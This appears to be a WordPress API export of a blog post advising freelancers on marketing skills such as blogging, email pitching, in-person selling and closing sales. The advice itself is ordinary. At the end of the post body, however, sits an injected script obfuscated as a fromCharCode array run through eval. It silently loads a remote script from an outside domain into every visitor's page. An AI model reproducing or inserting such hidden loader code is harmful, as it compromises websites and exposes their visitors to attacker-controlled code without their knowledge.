{"id":6248,"date":"2023-06-09T10:56:26","date_gmt":"2023-06-09T10:56:26","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/the-best-marketing-skills-for-freelancers-to-learn-today\/"},"modified":"2023-06-09T10:56:26","modified_gmt":"2023-06-09T10:56:26","slug":"the-best-marketing-skills-for-freelancers-to-learn-today","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/","title":{"rendered":"The best marketing skills for freelancers to learn today"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Write_a_blog_about_your_industry\" title=\"Write a blog about your industry\">Write a blog about your industry<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Collaborate_with_other_freelancers\" title=\"Collaborate with other freelancers\">Collaborate with other freelancers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Add_yourself_to_freelance_listing_sites_and_directories\" title=\"Add yourself to freelance listing sites and directories\">Add yourself to freelance listing sites and directories<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Get_the_perfect_freelance_business_card\" title=\"Get the perfect freelance business card\">Get the perfect freelance business card<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Master_your_email_skills\" title=\"Master your email skills\">Master your email skills<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Learn_to_sell_your_freelance_services_in_person\" title=\"Learn to sell your freelance services in person\">Learn to sell your freelance services in person<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Get_active_on_social_media\" title=\"Get active on social media\">Get active on social media<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Learn_how_to_pitch_your_freelance_services\" title=\"Learn how to pitch your freelance services\">Learn how to pitch your freelance services<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Learn_how_to_close_the_sale_for_freelance_projects\" title=\"Learn how to close the sale for freelance projects\">Learn how to close the sale for freelance projects<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/the-best-marketing-skills-for-freelancers-to-learn-today\/#Make_your_freelance_work_as_good_as_possible\" title=\"Make your freelance work as good as possible\">Make your freelance work as good as possible<\/a><\/li><\/ul><\/nav><\/div>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/11\/hiadjnxzxl8.jpg&quot; alt=&quot;The best marketing skills for freelancers to learn today&quot; width=&quot;1600&quot; height=&quot;1067&quot; class=&quot;aligncenter size-full wp-image-3818&quot; \/><\/p>\n<p>As a freelancer, you live and die by your ability to sell your services.<\/p>\n<p>Unless you\u2019ve got some kind of agent or marketing firm doing your marketing for you, you\u2019ve got to be your own marketer.<\/p>\n<p>By learning these essential freelancing marketing skills, you can be a natural self-promoter.<\/p>\n<p>Let me first say that when I say \u201cmarketing\u201d, I don\u2019t mean you should be one of those pushy marketers that you see so often.<\/p>\n<p>The real way to market yourself is in a natural, professional, honest manner:<\/p>\n<ul>\n<li>Show that you\u2019re good, interact in a positive way.<\/li>\n<li>Find ways to let people know about your services and talents without coming on too strong.<\/li>\n<li>Let your talents sell themselves.<\/li>\n<\/ul>\n<p>This gets easier as you\u2019re more established and better known, but it can be done by anyone.<\/p>\n<p>Here are the essential marketing skills for any freelancer:<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Write_a_blog_about_your_industry\"><\/span><strong>Write a blog about your industry<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li>The blog is the new CV.<\/li>\n<li>If you don\u2019t have a blog, learn how to start one up.<\/li>\n<li>Make your blog look professional.<\/li>\n<li>Write about things that would look good to potential clients.<\/li>\n<li>Offer your services to others (with contact info).<\/li>\n<\/ul>\n<p>If you are a designer, be sure that the design is clean and creative.<\/p>\n<p>If you are a photographer, the photos should knock them out.<\/p>\n<p>If you\u2019re a writer, have only your best writing on your blog.<\/p>\n<p>In all cases, have a simple, clean layout with well-written words.<\/p>\n<p>If you\u2019re not good at this yet, learn and refine.<\/p>\n<p>Look at other professional blogs for inspiration, then tweak.<\/p>\n<p>Then edit some more.<\/p>\n<p><span>Not sure w<\/span><span>hat to write about with a freelance blog?<\/span><\/p>\n<p><span>Write about your projects, big or small, and anything you\u2019ve accomplished over the last couple of weeks. <\/span><\/p>\n<p><span>Whether it\u2019s making a few new icons and showcasing them on your blog, or launching a client\u2019s newly designed website, or even just some really great snippet of code or that really great wallpaper you made for yourself in Photoshop. <\/span><\/p>\n<p><span>Your blog should showcase and talk about your work.<\/span><\/p>\n<p><span>Posting items like the above on a regular basis will quickly show potential clients that you\u2019re active, doing cool stuff and will give them a great feel for what sort of work they can expect from you.<\/span><\/p>\n<p><span>It\u2019s really easy to fall into the trap of now knowing where to begin, so just dive in and start posting.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/11\/ppvplhfh2jy.jpg&quot; alt=&quot;Collaborate with other freelancers&quot; width=&quot;1600&quot; height=&quot;1068&quot; class=&quot;aligncenter size-full wp-image-3819&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Collaborate_with_other_freelancers\"><\/span><strong>Collaborate with other freelancers<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>One of the best ways to market yourself is to collaborate with others.<\/p>\n<p>Instead of only working by yourself, offer your talents on a project.<\/p>\n<p>If you\u2019re a writer, offer to collaborate with other bloggers. You can reach a wider audience and develop relationships with other bloggers.<\/p>\n<p>You can do the same with whatever service you offer.<\/p>\n<p>Offer it up for free (or at a discounted rate) so you can develop relationships and reach a wider audience.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Add_yourself_to_freelance_listing_sites_and_directories\"><\/span><strong>Add yourself to freelance listing sites and directories<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Be sure that you\u2019re on all the freelance job sites.<\/p>\n<p>At least the ones that apply most to the service you offer or the market you\u2019re aiming for.<\/p>\n<p>You don\u2019t have many words to make a pitch.<\/p>\n<p>Offer a few words to differentiate yourself and a link to your blog if possible.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Get_the_perfect_freelance_business_card\"><\/span><strong>Get the perfect freelance business card<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Don\u2019t go with anything tacky or complicated.<\/p>\n<p>Keep it simple, professional.<\/p>\n<p>The fewer items on your card, the better.<\/p>\n<p>All you need is your name, your service and your email address, but you can put a slogan or logo if that works for you.<\/p>\n<p>Also, some have argued that the new business card is to say \u201cGoogle me\u201d.<\/p>\n<p>If so, be sure that you\u2019ve researched your Google results .<\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/11\/pnsmsbdggxs.jpg&quot; alt=&quot;Master your email skills&quot; width=&quot;1600&quot; height=&quot;1067&quot; class=&quot;aligncenter size-full wp-image-3820&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Master_your_email_skills\"><\/span><strong>Master your email skills<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is how I do most of my marketing, in combination with the blog and collaboration ideas listed above.<\/p>\n<p>I\u2019ll email someone to see if they\u2019re interested.<\/p>\n<p>I\u2019ll do a short pitch about myself and my services (a short paragraph) and make them an offer.<\/p>\n<p>If they write back, great. If not, you can either follow up or move on to the next one.<\/p>\n<p>Don\u2019t be too pushy.<\/p>\n<p>Be professional, and offer a link or two to show samples of your work.<\/p>\n<p>People don\u2019t have a lot of time to read emails, so be sure to keep it short.<\/p>\n<p>Be friendly and professional.<\/p>\n<p>And make them an offer they can\u2019t refuse.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Learn_to_sell_your_freelance_services_in_person\"><\/span><strong>Learn to sell your freelance services in person<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is the part that many people have trouble with.<\/p>\n<p>Either they are too shy or they have a tendency to overdo it.<\/p>\n<p>You need to find a balance between being unafraid to talk to people and being too pushy.<\/p>\n<p>If you face a fear here, don\u2019t worry \u2014 you\u2019re not alone.<\/p>\n<p>If you go to a conference or some other event like that, face your fear by making it a challenge to talk to 20 people today.<\/p>\n<p>By the time you\u2019ve done 5-10 of them, you\u2019ll start to get more comfortable.<\/p>\n<p>Develop a short script for what you want to say, if this doesn\u2019t come for you.<\/p>\n<p>Alter it depending on people\u2019s reactions.<\/p>\n<p>But try to learn to deliver it , and be open to changing it as you go.<\/p>\n<p>The script is a way for you to plan your key points.<\/p>\n<p>Basically, you just want to introduce yourself, ask the person about himself, mention what you do and suggest that you work together.<\/p>\n<p>If there\u2019s interest, make a specific suggestion for how you could work together and an appointment for follow-up communication (a meeting, phone call, email, etc.).<\/p>\n<p>There are many variations on this, but this is the most basic form.<\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/11\/jp7j14w9ssg.jpg&quot; alt=&quot;Get active on social media&quot; width=&quot;1600&quot; height=&quot;1067&quot; class=&quot;aligncenter size-full wp-image-3821&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Get_active_on_social_media\"><\/span><strong>Get active on social media<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you freelance in a certain field, find the places where your industry communicates.<\/p>\n<p>It could be on Facebook, Instagram or Twitter, or a certain popular forum.<\/p>\n<p>Be a participant, contribute valuable knowledge without showing off, be friendly and helpful.<\/p>\n<p>You might form relationships that could pay off in the long run.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Learn_how_to_pitch_your_freelance_services\"><\/span><strong>Learn how to pitch your freelance services<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Learn how to pitch your freelance services, whether by email, in person, or on social media.<\/p>\n<p>You need to develop the art of making a pitch that doesn\u2019t come on too strong.<\/p>\n<p>This takes practice.<\/p>\n<p>The key point is to understand what the potential customer needs.<\/p>\n<p>Then show how you are the perfect solution to provide that need or want.<\/p>\n<p>The reasons you\u2019re the perfect solution could be:<\/p>\n<ul>\n<li>price<\/li>\n<li>quality<\/li>\n<li>a service not offered elsewhere<\/li>\n<li>added value<\/li>\n<li>your unique experience<\/li>\n<li>least hassle<\/li>\n<li>fastest completion time<\/li>\n<li>reliability<\/li>\n<\/ul>\n<p>Understand your clients needs and meet them. In as few words as possible, or you\u2019ll lose them.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Learn_how_to_close_the_sale_for_freelance_projects\"><\/span><strong>Learn how to close the sale for freelance projects<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Once you\u2019ve made the pitch, you could end it with a simple, \u201cGet back to me if you\u2019re interested.\u201d<\/p>\n<p>You might find that people will rarely end with any kind of business.<\/p>\n<p>You need to have a close, make a sell.<\/p>\n<p>Again, don\u2019t be pushy about it.<\/p>\n<p>Learn to make a specific offer and ask your client to take action (with a good reason to take that action).<\/p>\n<p>That could be to:<\/p>\n<ul>\n<li>buy your services<\/li>\n<li>give you a one-time try<\/li>\n<li>work with you on a small job<\/li>\n<li>meet with you to discuss options<\/li>\n<\/ul>\n<p>Whatever it is, be specific and don\u2019t let the time be vague (don\u2019t say \u201csometime next month\u201d).<\/p>\n<p>For example, say, \u201cHow about if I sketch up a design and send it to you by Wednesday?\u201d or \u201cLet\u2019s give this a try: I\u2019ll write one article for you, and if it doesn\u2019t work out, no hard feelings. I can have it to you in two days.\u201d<\/p>\n<p><span>I used to make that mistake with email closes thinking I was being too pushy with anything besides \u201clet me know if you\u2019re interested\u201d. <\/span><\/p>\n<p><span>Now I leave out the \u201cif\u201d! I usually close emails by suggesting that we meet in person then offering a few times when I\u2019m available. <\/span><\/p>\n<p><span>I\u2019ve had an extremely high success rate with this.<\/span><\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/11\/g8bqfderlla.jpg&quot; alt=&quot;Make your freelance work as good as possible&quot; width=&quot;1600&quot; height=&quot;1067&quot; class=&quot;aligncenter size-full wp-image-3822&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Make_your_freelance_work_as_good_as_possible\"><\/span><strong>Make your freelance work as good as possible<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This should go without saying, but your best spokesman is your product.<\/p>\n<p>If your work is shoddy, people won\u2019t continue to use you, and worse yet, your reputation will go downhill.<\/p>\n<ul>\n<li>Be sure to do you utmost best on every assignment<\/li>\n<li>Check your work over for mistakes<\/li>\n<li>Deliver work on time<\/li>\n<li>Communicate well with the client<\/li>\n<li>Do professional follow-ups so that the client is happy from start to finish.<\/li>\n<\/ul>\n<p>If you do an outstanding job, you will continue to get business. Or even better, you\u2019ll get recommended to others as an outstanding freelancer.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As a freelancer, you live and die by your ability to sell your services. Unless you\u2019ve got some kind of agent or marketing firm doing your marketing for you, you\u2019ve got to be your own marketer. By learning these essential freelancing marketing skills, you can be a natural self-promoter. Let me first say that when [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6248","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6248"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6248"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6248\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6248"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6248"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6248"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}